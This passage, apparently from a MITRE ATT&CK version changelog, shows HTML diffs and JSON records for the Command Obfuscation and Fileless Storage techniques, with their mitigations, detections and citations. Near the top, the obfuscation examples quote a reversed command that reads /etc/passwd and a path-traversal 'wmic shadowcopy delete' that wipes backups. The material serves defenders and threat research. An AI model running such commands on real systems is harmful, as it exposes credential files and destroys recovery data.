nowrap=\"nowrap\">versaries&nbsp;may&nbsp;also&nbsp;manually&nbsp;implement&nbsp;command&nbsp;obfuscation&nbsp;vi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">versaries&nbsp;may&nbsp;also&nbsp;manually&nbsp;implement&nbsp;command&nbsp;obfuscation&nbsp;vi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;string&nbsp;splitting&nbsp;(`\u201cWor\u201d+\u201cd.Application\u201d`),&nbsp;order&nbsp;and&nbsp;casi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">a&nbsp;string&nbsp;splitting&nbsp;(`\u201cWor\u201d+\u201cd.Application\u201d`),&nbsp;order&nbsp;and&nbsp;casi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;of&nbsp;characters&nbsp;(`rev&nbsp;&lt;&lt;&lt;'dwssap/cte/&nbsp;tac'`),&nbsp;glob<span class=\"diff_chg\">ing</span>&nbsp;(`mkd</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;of&nbsp;characters&nbsp;(`rev&nbsp;&lt;&lt;&lt;'dwssap/cte/&nbsp;tac'`),&nbsp;glob<span class=\"diff_chg\">bing</span>&nbsp;(`mk</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ir&nbsp;-p&nbsp;'/tmp/:&amp;$NiA'`),&nbsp;as&nbsp;well&nbsp;as&nbsp;various&nbsp;tricks&nbsp;involving&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dir&nbsp;-p&nbsp;'/tmp/:&amp;$NiA'`),&nbsp;as&nbsp;well&nbsp;as&nbsp;various&nbsp;tricks&nbsp;involving&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">assing&nbsp;strings&nbsp;through&nbsp;tokens/environment&nbsp;variables/input&nbsp;st</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">passing&nbsp;strings&nbsp;through&nbsp;tokens/environment&nbsp;variables/input&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">reams.(Citation:&nbsp;Bashfuscator&nbsp;Command&nbsp;Obfuscators)(Citation:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">treams.(Citation:&nbsp;Bashfuscator&nbsp;Command&nbsp;Obfuscators)(Citation</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;FireEye&nbsp;Obfuscation&nbsp;June&nbsp;2017)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;use&nbsp;tr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;FireEye&nbsp;Obfuscation&nbsp;June&nbsp;2017)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;use&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">icks&nbsp;such&nbsp;as&nbsp;directory&nbsp;traversals&nbsp;to&nbsp;obfuscate&nbsp;references&nbsp;to</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ricks&nbsp;such&nbsp;as&nbsp;directory&nbsp;traversals&nbsp;to&nbsp;obfuscate&nbsp;references&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;binary&nbsp;being&nbsp;invoked&nbsp;by&nbsp;a&nbsp;command&nbsp;(`C:\\voi\\pcw\\..\\..\\Wi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;the&nbsp;binary&nbsp;being&nbsp;invoked&nbsp;by&nbsp;a&nbsp;command&nbsp;(`C:\\voi\\pcw\\..\\..\\W</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ndows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">indows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mic.exe&nbsp;shadowcopy&nbsp;delete`).(Citation:&nbsp;Twitter&nbsp;Richard&nbsp;WMIC)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">wmic.exe&nbsp;shadowcopy&nbsp;delete`).(Citation:&nbsp;Twitter&nbsp;Richard&nbsp;WMIC</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;Tools&nbsp;such&nbsp;as&nbsp;&lt;code&gt;Invoke-Obfuscation&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;In</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;&nbsp;Tools&nbsp;such&nbsp;as&nbsp;&lt;code&gt;Invoke-Obfuscation&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;I</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">voke-DOSfucation&lt;/code&gt;&nbsp;have&nbsp;also&nbsp;been&nbsp;used&nbsp;to&nbsp;obfuscate&nbsp;com</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nvoke-DOSfucation&lt;/code&gt;&nbsp;have&nbsp;also&nbsp;been&nbsp;used&nbsp;to&nbsp;obfuscate&nbsp;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mands.(Citation:&nbsp;Invoke-DOSfuscation)(Citation:&nbsp;Invoke-Obfus</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mmands.(Citation:&nbsp;Invoke-DOSfuscation)(Citation:&nbsp;Invoke-Obfu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cation)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">scation)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1040: Behavior Prevention on Endpoint",
                            "M1049: Antivirus/Antimalware"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0505: Detection Strategy for Command Obfuscation"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2023-03-23 19:55:25.546000+00:00",
                    "modified": "2026-11-03 23:40:44.760000+00:00",
                    "name": "Fileless Storage",
                    "description": "Adversaries may store data in \"fileless\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISCO Nexus 900 Config)\n\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by antivirus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)\n\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. \n\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\System32\\Wbem\\Repository`) or Registry (e.g., `%SystemRoot%\\System32\\Config`) physical files.(Citation: Microsoft Fileless) ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1027/011",
                            "external_id": "T1027.011"
                        },
                        {
                            "source_name": "Aquasec Muhstik Malware 2024",
                            "description": " Nitzan Yaakov. (2024, June 4). Muhstik Malware Targets Message Queuing Services Applications. Retrieved September 24, 2024.",
                            "url": "https://www.aquasec.com/blog/muhstik-malware-targets-message-queuing-services-applications/"
                        },
                        {
                            "source_name": "Bitsight 7777 Botnet",
                            "description": "Batista, Jo\u00e3o.  Gi7w0rm. (2024, August 27). Retrieved June 5, 2025.",
                            "url": "https://www.bitsight.com/blog/7777-botnet-insights-multi-target-botnet"
                        },
                        {
                            "source_name": "CISCO Nexus 900 Config",
                            "description": "CISCO. (2021, September 14). Cisco Nexus 9000 Series NX-OS Fundamentals Configuration Guide, Release 7.x. Retrieved June 5, 2025.",
                            "url": "https://www.cisco.com/c/en/us/td/docs/switches/datacenter/nexus9000/sw/7-x/fundamentals/configuration/guide/b_Cisco_Nexus_9000_Series_NX-OS_Fundamentals_Configuration_Guide_7x/b_Cisco_Nexus_9000_Series_NX-OS_Fundamentals_Configuration_Guide_7x_chapter_01000.html"
                        },
                        {
                            "source_name": "Elastic Binary Executed from Shared Memory Directory",
                            "description": "Elastic. (n.d.). Binary Executed from Shared Memory Directory. Retrieved September 24, 2024.",
                            "url": "https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-3-binary-executed-from-shared-memory-directory.html"
                        },
                        {
                            "source_name": "SecureList Fileless",
                            "description": "Legezo, D. (2022, May 4). A new secret stash for \u201cfileless\u201d malware. Retrieved March 23, 2023.",
                            "url": "https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/"
                        },
                        {
                            "source_name": "Microsoft Fileless",
                            "description": "Microsoft. (2023, February 6). Fileless threats. Retrieved March 23, 2023.",
                            "url": "https://learn.microsoft.com/microsoft-365/security/intelligence/fileless-threats"
                        },
                        {
                            "source_name": "Sysdig Fileless Malware 23022",
                            "description": "Nicholas Lang. (2022, May 3). Fileless malware mitigation. Retrieved September 24, 2024.",
                            "url": "https://sysdig.com/blog/containers-read-only-fileless-malware/"
                        },
                        {
                            "source_name": "Akami Frog4Shell 2024",
                            "description": "Ori David. (2024, February 1). Frog4Shell \u2014 FritzFrog Botnet Adds One-Days to Its Arsenal. Retrieved September 24, 2024.",
                            "url": "https://www.akamai.com/blog/security-research/fritzfrog-botnet-new-capabilities-log4shell"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Christopher Peacock",
                        "Denise Tan",
                        "Mark Wee",
                        "Simona David",
                        "Vito Alfano, Group-IB",
                        "Xavier Rousseau"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "Windows"
                    ],
                    "x_mitre_version": "3.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:40:44.760000+00:00\", \"old_value\": \"2026-05-12 15:12:00.619000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may store data in \\\"fileless\\\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISCO Nexus 900 Config)\\n\\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by antivirus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)\\n\\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. \\n\\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\\\System32\\\\Wbem\\\\Repository`) or Registry (e.g., `%SystemRoot%\\\\System32\\\\Config`) physical files.(Citation: Microsoft Fileless) \", \"old_value\": \"Adversaries may store data in \\\"fileless\\\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISCO Nexus 900 Config).\\n\\nSimilar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by antivirus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)\\n\\nAdversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored. \\n\\nSome forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., `%SystemRoot%\\\\System32\\\\Wbem\\\\Repository`) or Registry (e.g., `%SystemRoot%\\\\System32\\\\Config`) physical files.(Citation: Microsoft Fileless) \", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may store data in \\\"fileless\\\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISCO Nexus 900 Config).\\n+Adversaries may store data in \\\"fileless\\\" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Shared memory directories on Linux systems (`/dev/shm`, `/run/shm`, `/var/run`, and `/var/lock`) and volatile directories on Network Devices (`/tmp` and `/volatile`) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISCO Nexus 900 Config)\\n \\n Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by antivirus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)\\n \"}}}",
                    "previous_version": "3.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to17__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to17__0\"><a href=\"#difflib_chg_to17__top\">t</a></td><td class=\"diff_header\" id=\"from17_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;store&nbsp;data&nbsp;in&nbsp;\"fileless\"&nbsp;formats&nbsp;to&nbsp;conceal&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to17__top\">t</a></td><td class=\"diff_header\" id=\"to17_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;store&nbsp;data&nbsp;in&nbsp;\"fileless\"&nbsp;formats&nbsp;to&nbsp;conceal&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">malicious&nbsp;activity&nbsp;from&nbsp;defenses.&nbsp;Fileless&nbsp;storage&nbsp;can&nbsp;be&nbsp;br</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">malicious&nbsp;activity&nbsp;from&nbsp;defenses.&nbsp;Fileless&nbsp;storage&nbsp;can&nbsp;be&nbsp;br</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oadly&nbsp;defined&nbsp;as&nbsp;any&nbsp;format&nbsp;other&nbsp;than&nbsp;a&nbsp;file.&nbsp;Common&nbsp;exampl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oadly&nbsp;defined&nbsp;as&nbsp;any&nbsp;format&nbsp;other&nbsp;than&nbsp;a&nbsp;file.&nbsp;Common&nbsp;exampl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;of&nbsp;non-volatile&nbsp;fileless&nbsp;storage&nbsp;in&nbsp;Windows&nbsp;systems&nbsp;inclu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;of&nbsp;non-volatile&nbsp;fileless&nbsp;storage&nbsp;in&nbsp;Windows&nbsp;systems&nbsp;inclu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;the&nbsp;Windows&nbsp;Registry,&nbsp;event&nbsp;logs,&nbsp;or&nbsp;WMI&nbsp;repository.(Cita</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;the&nbsp;Windows&nbsp;Registry,&nbsp;event&nbsp;logs,&nbsp;or&nbsp;WMI&nbsp;repository.(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Microsoft&nbsp;Fileless)(Citation:&nbsp;SecureList&nbsp;Fileless)&nbsp;Sha</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Microsoft&nbsp;Fileless)(Citation:&nbsp;SecureList&nbsp;Fileless)&nbsp;Sha</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">red&nbsp;memory&nbsp;directories&nbsp;on&nbsp;Linux&nbsp;systems&nbsp;(`/dev/shm`,&nbsp;`/run/s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">red&nbsp;memory&nbsp;directories&nbsp;on&nbsp;Linux&nbsp;systems&nbsp;(`/dev/shm`,&nbsp;`/run/s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hm`,&nbsp;`/var/run`,&nbsp;and&nbsp;`/var/lock`)&nbsp;and&nbsp;volatile&nbsp;directories&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hm`,&nbsp;`/var/run`,&nbsp;and&nbsp;`/var/lock`)&nbsp;and&nbsp;volatile&nbsp;directories&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;Network&nbsp;Devices&nbsp;(`/tmp`&nbsp;and&nbsp;`/volatile`)&nbsp;may&nbsp;also&nbsp;be&nbsp;consi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;Network&nbsp;Devices&nbsp;(`/tmp`&nbsp;and&nbsp;`/volatile`)&nbsp;may&nbsp;also&nbsp;be&nbsp;consi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dered&nbsp;fileless&nbsp;storage,&nbsp;as&nbsp;files&nbsp;written&nbsp;to&nbsp;these&nbsp;directorie</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dered&nbsp;fileless&nbsp;storage,&nbsp;as&nbsp;files&nbsp;written&nbsp;to&nbsp;these&nbsp;directorie</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;are&nbsp;mapped&nbsp;directly&nbsp;to&nbsp;RAM&nbsp;and&nbsp;not&nbsp;stored&nbsp;on&nbsp;the&nbsp;disk.(Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;are&nbsp;mapped&nbsp;directly&nbsp;to&nbsp;RAM&nbsp;and&nbsp;not&nbsp;stored&nbsp;on&nbsp;the&nbsp;disk.(Cit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Elastic&nbsp;Binary&nbsp;Executed&nbsp;from&nbsp;Shared&nbsp;Memory&nbsp;Directory)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Elastic&nbsp;Binary&nbsp;Executed&nbsp;from&nbsp;Shared&nbsp;Memory&nbsp;Directory)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;Akami&nbsp;Frog4Shell&nbsp;2024)(Citation:&nbsp;Aquasec&nbsp;Muhstik&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;Akami&nbsp;Frog4Shell&nbsp;2024)(Citation:&nbsp;Aquasec&nbsp;Muhstik&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Malware&nbsp;2024)(Citation:&nbsp;Bitsight&nbsp;7777&nbsp;Botnet)(Citation:&nbsp;CISC</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Malware&nbsp;2024)(Citation:&nbsp;Bitsight&nbsp;7777&nbsp;Botnet)(Citation:&nbsp;CISC</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">O&nbsp;Nexus&nbsp;900&nbsp;Config)<span class=\"diff_sub\">.</span>&nbsp;&nbsp;Similar&nbsp;to&nbsp;fileless&nbsp;in-memory&nbsp;behavior</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">O&nbsp;Nexus&nbsp;900&nbsp;Config)&nbsp;&nbsp;Similar&nbsp;to&nbsp;fileless&nbsp;in-memory&nbsp;behaviors</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;such&nbsp;as&nbsp;[Reflective&nbsp;Code&nbsp;Loading](https://attack.mitre.org</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;such&nbsp;as&nbsp;[Reflective&nbsp;Code&nbsp;Loading](https://attack.mitre.org/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/techniques/T1620)&nbsp;and&nbsp;[Process&nbsp;Injection](https://attack.mi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">techniques/T1620)&nbsp;and&nbsp;[Process&nbsp;Injection](https://attack.mit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tre.org/techniques/T1055),&nbsp;fileless&nbsp;data&nbsp;storage&nbsp;may&nbsp;remain&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re.org/techniques/T1055),&nbsp;fileless&nbsp;data&nbsp;storage&nbsp;may&nbsp;remain&nbsp;u</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">undetected&nbsp;by&nbsp;antivirus&nbsp;and&nbsp;other&nbsp;endpoint&nbsp;security&nbsp;tools&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ndetected&nbsp;by&nbsp;antivirus&nbsp;and&nbsp;other&nbsp;endpoint&nbsp;security&nbsp;tools&nbsp;tha</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">at&nbsp;can&nbsp;only&nbsp;access&nbsp;specific&nbsp;file&nbsp;formats&nbsp;from&nbsp;disk&nbsp;storage.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;can&nbsp;only&nbsp;access&nbsp;specific&nbsp;file&nbsp;formats&nbsp;from&nbsp;disk&nbsp;storage.&nbsp;L</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Leveraging&nbsp;fileless&nbsp;storage&nbsp;may&nbsp;also&nbsp;allow&nbsp;adversaries&nbsp;to&nbsp;by</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">everaging&nbsp;fileless&nbsp;storage&nbsp;may&nbsp;also&nbsp;allow&nbsp;adversaries&nbsp;to&nbsp;byp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pass&nbsp;the&nbsp;protections&nbsp;offered&nbsp;by&nbsp;read-only&nbsp;file&nbsp;systems&nbsp;in&nbsp;Li</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ass&nbsp;the&nbsp;protections&nbsp;offered&nbsp;by&nbsp;read-only&nbsp;file&nbsp;systems&nbsp;in&nbsp;Lin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nux.(Citation:&nbsp;Sysdig&nbsp;Fileless&nbsp;Malware&nbsp;23022)&nbsp;&nbsp;Adversaries&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ux.(Citation:&nbsp;Sysdig&nbsp;Fileless&nbsp;Malware&nbsp;23022)&nbsp;&nbsp;Adversaries&nbsp;ma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ay&nbsp;use&nbsp;fileless&nbsp;storage&nbsp;to&nbsp;conceal&nbsp;various&nbsp;types&nbsp;of&nbsp;stored&nbsp;d</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 